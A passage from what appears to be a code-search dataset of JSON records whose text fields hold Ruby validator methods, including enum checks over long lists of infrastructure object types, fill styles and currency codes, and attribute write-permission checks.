\"hyperflex.ServerFirmwareVersion\", \"hyperflex.ServerFirmwareVersionEntry\", \"hyperflex.ServerModel\", \"hyperflex.ServiceAuthToken\", \"hyperflex.SoftwareDistributionComponent\", \"hyperflex.SoftwareDistributionEntry\", \"hyperflex.SoftwareDistributionVersion\", \"hyperflex.SoftwareVersionPolicy\", \"hyperflex.StorageContainer\", \"hyperflex.SysConfigPolicy\", \"hyperflex.UcsmConfigPolicy\", \"hyperflex.VcenterConfigPolicy\", \"hyperflex.VmBackupInfo\", \"hyperflex.VmImportOperation\", \"hyperflex.VmRestoreOperation\", \"hyperflex.VmSnapshotInfo\", \"hyperflex.Volume\", \"hyperflex.WitnessConfiguration\", \"iaas.ConnectorPack\", \"iaas.DeviceStatus\", \"iaas.DiagnosticMessages\", \"iaas.LicenseInfo\", \"iaas.MostRunTasks\", \"iaas.ServiceRequest\", \"iaas.UcsdInfo\", \"iaas.UcsdManagedInfra\", \"iaas.UcsdMessages\", \"iam.Account\", \"iam.AccountExperience\", \"iam.ApiKey\", \"iam.AppRegistration\", \"iam.BannerMessage\", \"iam.Certificate\", \"iam.CertificateRequest\", \"iam.DomainGroup\", \"iam.EndPointPrivilege\", \"iam.EndPointRole\", \"iam.EndPointUser\", \"iam.EndPointUserPolicy\", \"iam.EndPointUserRole\", \"iam.Idp\", \"iam.IdpReference\", \"iam.IpAccessManagement\", \"iam.IpAddress\", \"iam.LdapGroup\", \"iam.LdapPolicy\", \"iam.LdapProvider\", \"iam.LocalUserPassword\", \"iam.LocalUserPasswordPolicy\", \"iam.OAuthToken\", \"iam.Permission\", \"iam.PrivateKeySpec\", \"iam.Privilege\", \"iam.PrivilegeSet\", \"iam.Qualifier\", \"iam.ResourceLimits\", \"iam.ResourcePermission\", \"iam.ResourceRoles\", \"iam.Role\", \"iam.SecurityHolder\", \"iam.ServiceProvider\", \"iam.Session\", \"iam.SessionLimits\", \"iam.System\", \"iam.TrustPoint\", \"iam.User\", \"iam.UserGroup\", \"iam.UserPreference\", \"inventory.DeviceInfo\", \"inventory.DnMoBinding\", \"inventory.GenericInventory\", \"inventory.GenericInventoryHolder\", \"inventory.Request\", \"ipmioverlan.Policy\", \"ippool.BlockLease\", \"ippool.IpLease\", \"ippool.Pool\", \"ippool.PoolMember\", \"ippool.ShadowBlock\", \"ippool.ShadowPool\", \"ippool.Universe\", \"iqnpool.Block\", \"iqnpool.Lease\", \"iqnpool.Pool\", \"iqnpool.PoolMember\", \"iqnpool.Universe\", \"iwotenant.TenantStatus\", \"kubernetes.AciCniApic\", \"kubernetes.AciCniProfile\", \"kubernetes.AciCniTenantClusterAllocation\", \"kubernetes.AddonDefinition\", \"kubernetes.AddonPolicy\", \"kubernetes.AddonRepository\", \"kubernetes.BaremetalNodeProfile\", \"kubernetes.Catalog\", \"kubernetes.Cluster\", \"kubernetes.ClusterAddonProfile\", \"kubernetes.ClusterProfile\", \"kubernetes.ConfigResult\", \"kubernetes.ConfigResultEntry\", \"kubernetes.ContainerRuntimePolicy\", \"kubernetes.DaemonSet\", \"kubernetes.Deployment\", \"kubernetes.Ingress\", \"kubernetes.NetworkPolicy\", \"kubernetes.Node\", \"kubernetes.NodeGroupProfile\", \"kubernetes.Pod\", \"kubernetes.Service\", \"kubernetes.StatefulSet\", \"kubernetes.SysConfigPolicy\", \"kubernetes.TrustedRegistriesPolicy\", \"kubernetes.Version\", \"kubernetes.VersionPolicy\", \"kubernetes.VirtualMachineInfraConfigPolicy\", \"kubernetes.VirtualMachineInfrastructureProvider\", \"kubernetes.VirtualMachineInstanceType\", \"kubernetes.VirtualMachineNodeProfile\", \"kvm.Policy\", \"kvm.Session\", \"kvm.Tunnel\", \"license.AccountLicenseData\", \"license.CustomerOp\", \"license.IwoCustomerOp\", \"license.IwoLicenseCount\", \"license.LicenseInfo\", \"license.LicenseReservationOp\", \"license.SmartlicenseToken\", \"ls.ServiceProfile\", \"macpool.IdBlock\", \"macpool.Lease\", \"macpool.Pool\", \"macpool.PoolMember\", \"macpool.Universe\", \"management.Controller\", \"management.Entity\", \"management.Interface\", \"memory.Array\", \"memory.PersistentMemoryConfigResult\", \"memory.PersistentMemoryConfiguration\", \"memory.PersistentMemoryNamespace\", \"memory.PersistentMemoryNamespaceConfigResult\", \"memory.PersistentMemoryPolicy\", \"memory.PersistentMemoryRegion\", \"memory.PersistentMemoryUnit\", \"memory.Unit\", \"meta.Definition\", \"network.Element\", \"network.ElementSummary\", \"network.FcZoneInfo\", \"network.VlanPortInfo\", \"networkconfig.Policy\", \"niaapi.ApicCcoPost\", \"niaapi.ApicFieldNotice\", \"niaapi.ApicHweol\", \"niaapi.ApicLatestMaintainedRelease\", \"niaapi.ApicReleaseRecommend\", \"niaapi.ApicSweol\", \"niaapi.DcnmCcoPost\", \"niaapi.DcnmFieldNotice\", \"niaapi.DcnmHweol\", \"niaapi.DcnmLatestMaintainedRelease\", \"niaapi.DcnmReleaseRecommend\", \"niaapi.DcnmSweol\", \"niaapi.FileDownloader\", \"niaapi.NiaMetadata\", \"niaapi.NibFileDownloader\", \"niaapi.NibMetadata\", \"niaapi.VersionRegex\", \"niatelemetry.AaaLdapProviderDetails\", \"niatelemetry.AaaRadiusProviderDetails\", \"niatelemetry.AaaTacacsProviderDetails\", \"niatelemetry.ApicAppPluginDetails\", \"niatelemetry.ApicCoreFileDetails\", \"niatelemetry.ApicDbgexpRsExportDest\", \"niatelemetry.ApicDbgexpRsTsScheduler\", \"niatelemetry.ApicFanDetails\", \"niatelemetry.ApicFexDetails\", \"niatelemetry.ApicFlashDetails\", \"niatelemetry.ApicNtpAuth\", \"niatelemetry.ApicPsuDetails\", \"niatelemetry.ApicRealmDetails\", \"niatelemetry.ApicSnmpClientGrpDetails\", \"niatelemetry.ApicSnmpCommunityAccessDetails\", \"niatelemetry.ApicSnmpCommunityDetails\", \"niatelemetry.ApicSnmpTrapDetails\", \"niatelemetry.ApicSnmpTrapFwdServerDetails\", \"niatelemetry.ApicSnmpVersionThreeDetails\", \"niatelemetry.ApicSysLogGrp\", \"niatelemetry.ApicSysLogSrc\", \"niatelemetry.ApicTransceiverDetails\", \"niatelemetry.ApicUiPageCounts\", \"niatelemetry.AppDetails\", \"niatelemetry.CommonPolicies\", \"niatelemetry.DcnmFanDetails\", \"niatelemetry.DcnmFexDetails\", \"niatelemetry.DcnmModuleDetails\", \"niatelemetry.DcnmPsuDetails\", \"niatelemetry.DcnmTransceiverDetails\", \"niatelemetry.Epg\", \"niatelemetry.FabricModuleDetails\", \"niatelemetry.FabricPodProfile\", \"niatelemetry.FabricPodSs\", \"niatelemetry.Fault\", \"niatelemetry.HttpsAclContractDetails\", \"niatelemetry.HttpsAclContractFilterMap\", \"niatelemetry.HttpsAclEpgContractMap\", \"niatelemetry.HttpsAclEpgDetails\", \"niatelemetry.HttpsAclFilterDetails\", \"niatelemetry.Lc\", \"niatelemetry.MsoContractDetails\", \"niatelemetry.MsoEpgDetails\", \"niatelemetry.MsoSchemaDetails\", \"niatelemetry.MsoSiteDetails\", \"niatelemetry.MsoTenantDetails\", \"niatelemetry.NexusDashboardControllerDetails\", \"niatelemetry.NexusDashboardDetails\", \"niatelemetry.NexusDashboardMemoryDetails\", \"niatelemetry.NexusDashboards\", \"niatelemetry.NiaFeatureUsage\", \"niatelemetry.NiaInventory\", \"niatelemetry.NiaInventoryDcnm\", \"niatelemetry.NiaInventoryFabric\", \"niatelemetry.NiaLicenseState\", \"niatelemetry.PasswordStrengthCheck\", \"niatelemetry.PodCommPolicies\", \"niatelemetry.PodSnmpPolicies\", \"niatelemetry.PodTimeServerPolicies\", \"niatelemetry.SiteInventory\", \"niatelemetry.SnmpSrc\", \"niatelemetry.SshVersionTwo\", \"niatelemetry.SupervisorModuleDetails\", \"niatelemetry.SyslogRemoteDest\", \"niatelemetry.SyslogSysMsg\", \"niatelemetry.SyslogSysMsgFacFilter\", \"niatelemetry.SystemControllerDetails\", \"niatelemetry.Tenant\", \"notification.AccountSubscription\", \"ntp.Policy\", \"oprs.Deployment\", \"oprs.SyncTargetListMessage\", \"organization.Organization\", \"os.BulkInstallInfo\", \"os.Catalog\", \"os.ConfigurationFile\", \"os.Distribution\", \"os.Install\", \"os.OsSupport\", \"os.SupportedVersion\", \"os.TemplateFile\", \"os.ValidInstallTarget\", \"pci.CoprocessorCard\", \"pci.Device\", \"pci.Link\", \"pci.Switch\", \"port.Group\", \"port.MacBinding\", \"port.SubGroup\", \"power.ControlState\", \"power.Policy\", \"processor.Unit\", \"rack.UnitPersonality\", \"recommendation.CapacityRunway\", \"recommendation.PhysicalItem\", \"recovery.BackupConfigPolicy\", \"recovery.BackupProfile\", \"recovery.ConfigResult\", \"recovery.ConfigResultEntry\", \"recovery.OnDemandBackup\", \"recovery.Restore\", \"recovery.ScheduleConfigPolicy\", \"resource.Group\", \"resource.GroupMember\", \"resource.LicenseResourceCount\", \"resource.Membership\", \"resource.MembershipHolder\", \"resource.Reservation\", \"resourcepool.Lease\", \"resourcepool.LeaseResource\", \"resourcepool.Pool\", \"resourcepool.PoolMember\", \"resourcepool.Universe\", \"rproxy.ReverseProxy\", \"sdcard.Policy\", \"sdwan.Profile\", \"sdwan.RouterNode\", \"sdwan.RouterPolicy\", \"sdwan.VmanageAccountPolicy\", \"search.SearchItem\", \"search.TagItem\", \"security.Unit\", \"server.ConfigChangeDetail\", \"server.ConfigImport\", \"server.ConfigResult\", \"server.ConfigResultEntry\", \"server.Profile\", \"server.ProfileTemplate\", \"smtp.Policy\", \"snmp.Policy\", \"software.ApplianceDistributable\", \"software.DownloadHistory\", \"software.HclMeta\", \"software.HyperflexBundleDistributable\", \"software.HyperflexDistributable\", \"software.ReleaseMeta\", \"software.SolutionDistributable\", \"software.UcsdBundleDistributable\", \"software.UcsdDistributable\", \"softwarerepository.Authorization\", \"softwarerepository.CachedImage\", \"softwarerepository.Catalog\", \"softwarerepository.CategoryMapper\", \"softwarerepository.CategoryMapperModel\", \"softwarerepository.CategorySupportConstraint\", \"softwarerepository.DownloadSpec\", \"softwarerepository.OperatingSystemFile\", \"softwarerepository.Release\", \"sol.Policy\", \"ssh.Policy\", \"storage.Controller\", \"storage.DiskGroup\", \"storage.DiskSlot\", \"storage.DriveGroup\", \"storage.Enclosure\", \"storage.EnclosureDisk\", \"storage.EnclosureDiskSlotEp\", \"storage.FlexFlashController\", \"storage.FlexFlashControllerProps\", \"storage.FlexFlashPhysicalDrive\", \"storage.FlexFlashVirtualDrive\", \"storage.FlexUtilController\", \"storage.FlexUtilPhysicalDrive\", \"storage.FlexUtilVirtualDrive\", \"storage.HitachiArray\", \"storage.HitachiController\", \"storage.HitachiDisk\", \"storage.HitachiHost\", \"storage.HitachiHostLun\", \"storage.HitachiParityGroup\", \"storage.HitachiPool\", \"storage.HitachiPort\", \"storage.HitachiVolume\", \"storage.HyperFlexStorageContainer\", \"storage.HyperFlexVolume\", \"storage.Item\", \"storage.NetAppAggregate\", \"storage.NetAppBaseDisk\", \"storage.NetAppCluster\", \"storage.NetAppEthernetPort\", \"storage.NetAppExportPolicy\", \"storage.NetAppFcInterface\", \"storage.NetAppFcPort\", \"storage.NetAppInitiatorGroup\", \"storage.NetAppIpInterface\", \"storage.NetAppLicense\", \"storage.NetAppLun\", \"storage.NetAppLunMap\", \"storage.NetAppNode\", \"storage.NetAppNtpServer\", \"storage.NetAppSensor\", \"storage.NetAppStorageVm\", \"storage.NetAppVolume\", \"storage.NetAppVolumeSnapshot\", \"storage.PhysicalDisk\", \"storage.PhysicalDiskExtension\", \"storage.PhysicalDiskUsage\", \"storage.PureArray\", \"storage.PureController\", \"storage.PureDisk\", \"storage.PureHost\", \"storage.PureHostGroup\", \"storage.PureHostLun\", \"storage.PurePort\", \"storage.PureProtectionGroup\", \"storage.PureProtectionGroupSnapshot\", \"storage.PureReplicationSchedule\", \"storage.PureSnapshotSchedule\", \"storage.PureVolume\", \"storage.PureVolumeSnapshot\", \"storage.SasExpander\", \"storage.SasPort\", \"storage.Span\", \"storage.StoragePolicy\", \"storage.VdMemberEp\", \"storage.VirtualDrive\", \"storage.VirtualDriveContainer\", \"storage.VirtualDriveExtension\", \"storage.VirtualDriveIdentity\", \"syslog.Policy\", \"tam.AdvisoryCount\", \"tam.AdvisoryDefinition\", \"tam.AdvisoryInfo\", \"tam.AdvisoryInstance\", \"tam.SecurityAdvisory\", \"task.HitachiScopedInventory\", \"task.HxapScopedInventory\", \"task.NetAppScopedInventory\", \"task.PublicCloudScopedInventory\", \"task.PureScopedInventory\", \"task.ServerScopedInventory\", \"techsupportmanagement.CollectionControlPolicy\", \"techsupportmanagement.Download\", \"techsupportmanagement.TechSupportBundle\", \"techsupportmanagement.TechSupportStatus\", \"terminal.AuditLog\", \"terraform.Executor\", \"thermal.Policy\", \"top.System\", \"ucsd.BackupInfo\", \"uuidpool.Block\", \"uuidpool.Pool\", \"uuidpool.PoolMember\", \"uuidpool.Universe\", \"uuidpool.UuidLease\", \"virtualization.Host\", \"virtualization.VirtualDisk\", \"virtualization.VirtualMachine\", \"virtualization.VirtualNetwork\", \"virtualization.VmwareCluster\", \"virtualization.VmwareDatacenter\", \"virtualization.VmwareDatastore\", \"virtualization.VmwareDatastoreCluster\", \"virtualization.VmwareDistributedNetwork\", \"virtualization.VmwareDistributedSwitch\", \"virtualization.VmwareFolder\", \"virtualization.VmwareHost\", \"virtualization.VmwareKernelNetwork\", \"virtualization.VmwareNetwork\", \"virtualization.VmwarePhysicalNetworkInterface\", \"virtualization.VmwareUplinkPort\", \"virtualization.VmwareVcenter\", \"virtualization.VmwareVirtualDisk\", \"virtualization.VmwareVirtualMachine\", \"virtualization.VmwareVirtualMachineSnapshot\", \"virtualization.VmwareVirtualNetworkInterface\", \"virtualization.VmwareVirtualSwitch\", \"vmedia.Policy\", \"vmrc.Console\", \"vnc.Console\", \"vnic.EthAdapterPolicy\", \"vnic.EthIf\", \"vnic.EthNetworkPolicy\", \"vnic.EthQosPolicy\", \"vnic.FcAdapterPolicy\", \"vnic.FcIf\", \"vnic.FcNetworkPolicy\", \"vnic.FcQosPolicy\", \"vnic.IscsiAdapterPolicy\", \"vnic.IscsiBootPolicy\", \"vnic.IscsiStaticTargetPolicy\", \"vnic.LanConnectivityPolicy\", \"vnic.LcpStatus\", \"vnic.SanConnectivityPolicy\", \"vnic.ScpStatus\", \"vrf.Vrf\", \"workflow.BatchApiExecutor\", \"workflow.BuildTaskMeta\", \"workflow.BuildTaskMetaOwner\", \"workflow.Catalog\", \"workflow.CustomDataTypeDefinition\", \"workflow.ErrorResponseHandler\", \"workflow.PendingDynamicWorkflowInfo\", \"workflow.RollbackWorkflow\", \"workflow.SolutionActionDefinition\", \"workflow.SolutionActionInstance\", \"workflow.SolutionDefinition\", \"workflow.SolutionInstance\", \"workflow.SolutionOutput\", \"workflow.TaskDebugLog\", \"workflow.TaskDefinition\", \"workflow.TaskInfo\", \"workflow.TaskMetadata\", \"workflow.TaskNotification\", \"workflow.TemplateEvaluation\", \"workflow.TemplateFunctionMeta\", \"workflow.WorkflowDefinition\", \"workflow.WorkflowInfo\", \"workflow.WorkflowMeta\", \"workflow.WorkflowMetadata\", \"workflow.WorkflowNotification\"])\n return false unless object_type_validator.valid?(@object_type)\n true\n end",
"title": ""
},
{
"docid": "eed235e3960d45d5aae2733376c26c7f",
"score": "0.53364015",
"text": "def allowed_values(value, pdef)\n if(pdef['AllowedValues'].include?(value))\n true\n else\n \"Not an allowed value: #{pdef['AllowedValues'].join(', ')}\"\n end\n end",
"title": ""
},
{
"docid": "ccfe8738bfd90d4dd7cb62eaf02a0937",
"score": "0.5330548",
"text": "def allowed_to_write(name)\n # no point allowing attribute writes if we can't save them?\n if allowed_to_save\n name = name.to_s\n validation_methods = self.class.write_validations(name) \n if validation_methods.nil?\n # We haven't registered any filters on this attribute, so allow the write.\n true\n elsif validation_methods.check :accessor => accessor, :model => self\n # One of the authentication methods worked, so allow the write.\n true\n else\n # We had filters but none of them passed. Disallow write.\n false\n end\n else\n false\n end\n end",
"title": ""
},
{
"docid": "aa9af6f302eab691811de43fd5119e4a",
"score": "0.5324624",
"text": "def status_enum=(status)\n write_attribute(:status, status)\n end",
"title": ""
},
{
"docid": "aec1171a0bb0b9aa69a0d222b5e42061",
"score": "0.53222466",
"text": "def setting_attribute_is_allowed?(name, user)\n return false unless user.can_write?(self, name)\n (self.whitelisted_attributes && self.whitelisted_attributes.has_key?( name.to_sym)) ||\n (\n self.attribute_names.include?( name.to_s ) &&\n ( self.blacklisted_attributes.nil? ||\n ! self.blacklisted_attributes.has_key?( name.to_sym ) )\n )\n end",
"title": ""
},
{
"docid": "8a0c85ab2f4e0dc8c9d541d1a9d672d9",
"score": "0.5307476",
"text": "def valid?\n return false if !super\n status_validator = EnumAttributeValidator.new('String', ['NotDefined', 'Active', 'Resolved', 'Closed'])\n return false unless status_validator.valid?(@status)\n true\n end",
"title": ""
},
{
"docid": "cdad6e3a8b5642a185bca042edae26fd",
"score": "0.53004855",
"text": "def valid?\n MANDATORY_ATTRIBUTES[type].each{|a| return false unless self[a]}\n true\n end",
"title": ""
},
{
"docid": "5ea5581623455c92a5407359d9e0d1b1",
"score": "0.52841866",
"text": "def valid?\n return false if !super\n return false if @style.nil?\n style_validator = EnumAttributeValidator.new('String', ['Unknown', 'Percent05', 'Percent10', 'Percent20', 'Percent25', 'Percent30', 'Percent40', 'Percent50', 'Percent60', 'Percent70', 'Percent75', 'Percent80', 'Percent90', 'DarkHorizontal', 'DarkVertical', 'DarkDownwardDiagonal', 'DarkUpwardDiagonal', 'SmallCheckerBoard', 'Trellis', 'LightHorizontal', 'LightVertical', 'LightDownwardDiagonal', 'LightUpwardDiagonal', 'SmallGrid', 'DottedDiamond', 'WideDownwardDiagonal', 'WideUpwardDiagonal', 'DashedUpwardDiagonal', 'DashedDownwardDiagonal', 'NarrowVertical', 'NarrowHorizontal', 'DashedVertical', 'DashedHorizontal', 'LargeConfetti', 'LargeGrid', 'HorizontalBrick', 'LargeCheckerBoard', 'SmallConfetti', 'Zigzag', 'SolidDiamond', 'DiagonalBrick', 'OutlinedDiamond', 'Plaid', 'Sphere', 'Weave', 'DottedGrid', 'Divot', 'Shingle', 'Wave', 'Horizontal', 'Vertical', 'Cross', 'DownwardDiagonal', 'UpwardDiagonal', 'DiagonalCross', 'NotDefined'])\n return false unless style_validator.valid?(@style)\n true\n end",
"title": ""
},
{
"docid": "19056d6a35509fdd23a84fa3afae6658",
"score": "0.52784383",
"text": "def enum?(field)\n !!self.enums[field.to_sym]\n end",
"title": ""
},
{
"docid": "90f91e2cc45b45578cf3bb665fb4c15e",
"score": "0.52683413",
"text": "def currency=(currency)\n validator = EnumAttributeValidator.new('String', [\"UNKNOWN_CURRENCY\", \"AED\", \"AFN\", \"ALL\", \"AMD\", \"ANG\", \"AOA\", \"ARS\", \"AUD\", \"AWG\", \"AZN\", \"BAM\", \"BBD\", \"BDT\", \"BGN\", \"BHD\", \"BIF\", \"BMD\", \"BND\", \"BOB\", \"BOV\", \"BRL\", \"BSD\", \"BTN\", \"BWP\", \"BYR\", \"BZD\", \"CAD\", \"CDF\", \"CHE\", \"CHF\", \"CHW\", \"CLF\", \"CLP\", \"CNY\", \"COP\", \"COU\", \"CRC\", \"CUC\", \"CUP\", \"CVE\", \"CZK\", \"DJF\", \"DKK\", \"DOP\", \"DZD\", \"EGP\", \"ERN\", \"ETB\", \"EUR\", \"FJD\", \"FKP\", \"GBP\", \"GEL\", \"GHS\", \"GIP\", \"GMD\", \"GNF\", \"GTQ\", \"GYD\", \"HKD\", \"HNL\", \"HRK\", \"HTG\", \"HUF\", \"IDR\", \"ILS\", \"INR\", \"IQD\", \"IRR\", \"ISK\", \"JMD\", \"JOD\", \"JPY\", \"KES\", \"KGS\", \"KHR\", \"KMF\", \"KPW\", \"KRW\", \"KWD\", \"KYD\", \"KZT\", \"LAK\", \"LBP\", \"LKR\", \"LRD\", \"LSL\", \"LTL\", \"LVL\", \"LYD\", \"MAD\", \"MDL\", \"MGA\", \"MKD\", \"MMK\", \"MNT\", \"MOP\", \"MRO\", \"MUR\", \"MVR\", \"MWK\", \"MXN\", \"MXV\", \"MYR\", \"MZN\", \"NAD\", \"NGN\", \"NIO\", \"NOK\", \"NPR\", \"NZD\", \"OMR\", \"PAB\", \"PEN\", \"PGK\", \"PHP\", \"PKR\", \"PLN\", \"PYG\", \"QAR\", \"RON\", \"RSD\", \"RUB\", \"RWF\", \"SAR\", \"SBD\", \"SCR\", \"SDG\", \"SEK\", \"SGD\", \"SHP\", \"SLL\", \"SOS\", \"SRD\", \"SSP\", \"STD\", \"SVC\", \"SYP\", \"SZL\", \"THB\", \"TJS\", \"TMT\", \"TND\", \"TOP\", \"TRY\", \"TTD\", \"TWD\", \"TZS\", \"UAH\", \"UGX\", \"USD\", \"USN\", \"USS\", \"UYI\", \"UYU\", \"UZS\", \"VEF\", \"VND\", \"VUV\", \"WST\", \"XAF\", \"XAG\", \"XAU\", \"XBA\", \"XBB\", \"XBC\", \"XBD\", \"XCD\", \"XDR\", \"XOF\", \"XPD\", \"XPF\", \"XPT\", \"XTS\", \"XXX\", \"YER\", \"ZAR\", \"ZMK\", \"ZMW\", \"BTC\"])\n unless validator.valid?(currency)\n fail ArgumentError, \"invalid value for 'currency', must be one of #{validator.allowable_values}.\"\n end\n @currency = currency\n end",
"title": ""
},
{
"docid": "14f5df7520af62af6b8b571a30ba190a",
"score": "0.5265264",
"text": "def enum_defined_for?(attribute)\n context = self.eh_params[:enum_contexts][attribute.to_s]\n !!(eh_params[:db_codes][context] && eh_params[:db_codes][context][attribute.to_s])\n # Returns true if the indicated attribute has an enum defined\n end",
"title": ""
},
{
"docid": "2adac3b4896db42a0fd697678d494edc",
"score": "0.525289",
"text": "def object_type=(object_type)\n validator = EnumAttributeValidator.new('String', [\"aaa.AuditRecord\", \"aaa.RetentionConfig\", \"aaa.RetentionPolicy\", \"access.Policy\", \"adapter.ConfigPolicy\", \"adapter.ExtEthInterface\", \"adapter.HostEthInterface\", \"adapter.HostFcInterface\", \"adapter.HostIscsiInterface\", \"adapter.Unit\", \"adapter.UnitExpander\", \"appliance.AppStatus\", \"appliance.AutoRmaPolicy\", \"appliance.Backup\", \"appliance.BackupPolicy\", \"appliance.CertificateSetting\", \"appliance.DataExportPolicy\", \"appliance.DeviceCertificate\", \"appliance.DeviceClaim\", \"appliance.DeviceUpgradePolicy\", \"appliance.DiagSetting\", \"appliance.ExternalSyslogSetting\", \"appliance.FileGateway\", \"appliance.FileSystemStatus\", \"appliance.GroupStatus\", \"appliance.ImageBundle\", \"appliance.NodeInfo\", \"appliance.NodeStatus\", \"appliance.ReleaseNote\", \"appliance.RemoteFileImport\", \"appliance.Restore\", \"appliance.SetupInfo\", \"appliance.SystemInfo\", \"appliance.SystemStatus\", \"appliance.Upgrade\", \"appliance.UpgradePolicy\", \"asset.ClusterMember\", \"asset.Deployment\", \"asset.DeploymentDevice\", \"asset.DeviceClaim\", \"asset.DeviceConfiguration\", \"asset.DeviceConnectorManager\", \"asset.DeviceContractInformation\", \"asset.DeviceRegistration\", \"asset.Subscription\", \"asset.SubscriptionAccount\", \"asset.SubscriptionDeviceContractInformation\", \"asset.Target\", \"bios.BootDevice\", \"bios.BootMode\", \"bios.Policy\", \"bios.SystemBootOrder\", \"bios.TokenSettings\", \"bios.Unit\", \"bios.VfSelectMemoryRasConfiguration\", \"boot.CddDevice\", \"boot.DeviceBootMode\", \"boot.DeviceBootSecurity\", \"boot.HddDevice\", \"boot.IscsiDevice\", \"boot.NvmeDevice\", \"boot.PchStorageDevice\", \"boot.PrecisionPolicy\", \"boot.PxeDevice\", \"boot.SanDevice\", \"boot.SdDevice\", \"boot.UefiShellDevice\", \"boot.UsbDevice\", \"boot.VmediaDevice\", \"bulk.Export\", \"bulk.ExportedItem\", \"bulk.MoCloner\", \"bulk.MoMerger\", \"bulk.Request\", \"bulk.SubRequestObj\", \"capability.AdapterUnitDescriptor\", \"capability.Catalog\", \"capability.ChassisDescriptor\", \"capability.ChassisManufacturingDef\", \"capability.CimcFirmwareDescriptor\", \"capability.EquipmentPhysicalDef\", \"capability.EquipmentSlotArray\", \"capability.FanModuleDescriptor\", \"capability.FanModuleManufacturingDef\", \"capability.IoCardCapabilityDef\", \"capability.IoCardDescriptor\", \"capability.IoCardManufacturingDef\", \"capability.PortGroupAggregationDef\", \"capability.PsuDescriptor\", \"capability.PsuManufacturingDef\", \"capability.ServerSchemaDescriptor\", \"capability.SiocModuleCapabilityDef\", \"capability.SiocModuleDescriptor\", \"capability.SiocModuleManufacturingDef\", \"capability.SwitchCapability\", \"capability.SwitchDescriptor\", \"capability.SwitchManufacturingDef\", \"certificatemanagement.Policy\", \"chassis.ConfigChangeDetail\", \"chassis.ConfigImport\", \"chassis.ConfigResult\", \"chassis.ConfigResultEntry\", \"chassis.IomProfile\", \"chassis.Profile\", \"cloud.AwsBillingUnit\", \"cloud.AwsKeyPair\", \"cloud.AwsNetworkInterface\", \"cloud.AwsOrganizationalUnit\", \"cloud.AwsSecurityGroup\", \"cloud.AwsSubnet\", \"cloud.AwsVirtualMachine\", \"cloud.AwsVolume\", \"cloud.AwsVpc\", \"cloud.CollectInventory\", \"cloud.Regions\", \"cloud.SkuContainerType\", \"cloud.SkuDatabaseType\", \"cloud.SkuInstanceType\", \"cloud.SkuNetworkType\", \"cloud.SkuRegionRateCards\", \"cloud.SkuVolumeType\", \"cloud.TfcAgentpool\", \"cloud.TfcOrganization\", \"cloud.TfcWorkspace\", \"comm.HttpProxyPolicy\", \"compute.BiosPostPolicy\", \"compute.Blade\", \"compute.BladeIdentity\", \"compute.Board\", \"compute.Mapping\", \"compute.PhysicalSummary\", \"compute.RackUnit\", \"compute.RackUnitIdentity\", \"compute.ServerPowerPolicy\", \"compute.ServerSetting\", \"compute.Vmedia\", \"cond.Alarm\", \"cond.AlarmAggregation\", \"cond.HclStatus\", \"cond.HclStatusDetail\", \"cond.HclStatusJob\", \"connectorpack.ConnectorPackUpgrade\", \"connectorpack.UpgradeImpact\", \"convergedinfra.HealthCheckDefinition\", \"convergedinfra.HealthCheckExecution\", \"convergedinfra.Pod\", \"crd.CustomResource\", \"deviceconnector.Policy\", \"equipment.Chassis\", \"equipment.ChassisIdentity\", \"equipment.ChassisOperation\", \"equipment.DeviceSummary\", \"equipment.ExpanderModule\", \"equipment.Fan\", \"equipment.FanControl\", \"equipment.FanModule\", \"equipment.Fex\", \"equipment.FexIdentity\", \"equipment.FexOperation\", \"equipment.Fru\", \"equipment.IdentitySummary\", \"equipment.IoCard\", \"equipment.IoCardOperation\", \"equipment.IoExpander\", \"equipment.LocatorLed\", \"equipment.Psu\", \"equipment.PsuControl\", \"equipment.RackEnclosure\", \"equipment.RackEnclosureSlot\", \"equipment.SharedIoModule\", \"equipment.SwitchCard\", \"equipment.SystemIoController\", \"equipment.Tpm\", \"equipment.Transceiver\", \"ether.HostPort\", \"ether.NetworkPort\", \"ether.PhysicalPort\", \"ether.PortChannel\", \"externalsite.Authorization\", \"fabric.AppliancePcRole\", \"fabric.ApplianceRole\", \"fabric.ConfigChangeDetail\", \"fabric.ConfigResult\", \"fabric.ConfigResultEntry\", \"fabric.ElementIdentity\", \"fabric.EstimateImpact\", \"fabric.EthNetworkControlPolicy\", \"fabric.EthNetworkGroupPolicy\", \"fabric.EthNetworkPolicy\", \"fabric.FcNetworkPolicy\", \"fabric.FcUplinkPcRole\", \"fabric.FcUplinkRole\", \"fabric.FcoeUplinkPcRole\", \"fabric.FcoeUplinkRole\", \"fabric.FlowControlPolicy\", \"fabric.LinkAggregationPolicy\", \"fabric.LinkControlPolicy\", \"fabric.MulticastPolicy\", \"fabric.PcMember\", \"fabric.PcOperation\", \"fabric.PortMode\", \"fabric.PortOperation\", \"fabric.PortPolicy\", \"fabric.ServerRole\", \"fabric.SwitchClusterProfile\", \"fabric.SwitchControlPolicy\", \"fabric.SwitchProfile\", \"fabric.SystemQosPolicy\", \"fabric.UplinkPcRole\", \"fabric.UplinkRole\", \"fabric.Vlan\", \"fabric.Vsan\", \"fault.Instance\", \"fc.PhysicalPort\", \"fc.PortChannel\", \"fcpool.FcBlock\", \"fcpool.Lease\", \"fcpool.Pool\", \"fcpool.PoolMember\", \"fcpool.Universe\", \"feedback.FeedbackPost\", \"firmware.BiosDescriptor\", \"firmware.BoardControllerDescriptor\", \"firmware.ChassisUpgrade\", \"firmware.CimcDescriptor\", \"firmware.DimmDescriptor\", \"firmware.Distributable\", \"firmware.DistributableMeta\", \"firmware.DriveDescriptor\", \"firmware.DriverDistributable\", \"firmware.Eula\", \"firmware.FirmwareSummary\", \"firmware.GpuDescriptor\", \"firmware.HbaDescriptor\", \"firmware.IomDescriptor\", \"firmware.MswitchDescriptor\", \"firmware.NxosDescriptor\", \"firmware.PcieDescriptor\", \"firmware.PsuDescriptor\", \"firmware.RunningFirmware\", \"firmware.SasExpanderDescriptor\", \"firmware.ServerConfigurationUtilityDistributable\", \"firmware.StorageControllerDescriptor\", \"firmware.SwitchUpgrade\", \"firmware.UnsupportedVersionUpgrade\", \"firmware.Upgrade\", \"firmware.UpgradeImpact\", \"firmware.UpgradeImpactStatus\", \"firmware.UpgradeStatus\", \"forecast.Catalog\", \"forecast.Definition\", \"forecast.Instance\", \"graphics.Card\", \"graphics.Controller\", \"hcl.CompatibilityStatus\", \"hcl.DriverImage\", \"hcl.ExemptedCatalog\", \"hcl.HyperflexSoftwareCompatibilityInfo\", \"hcl.OperatingSystem\", \"hcl.OperatingSystemVendor\", \"hcl.SupportedDriverName\", \"hyperflex.Alarm\", \"hyperflex.AppCatalog\", 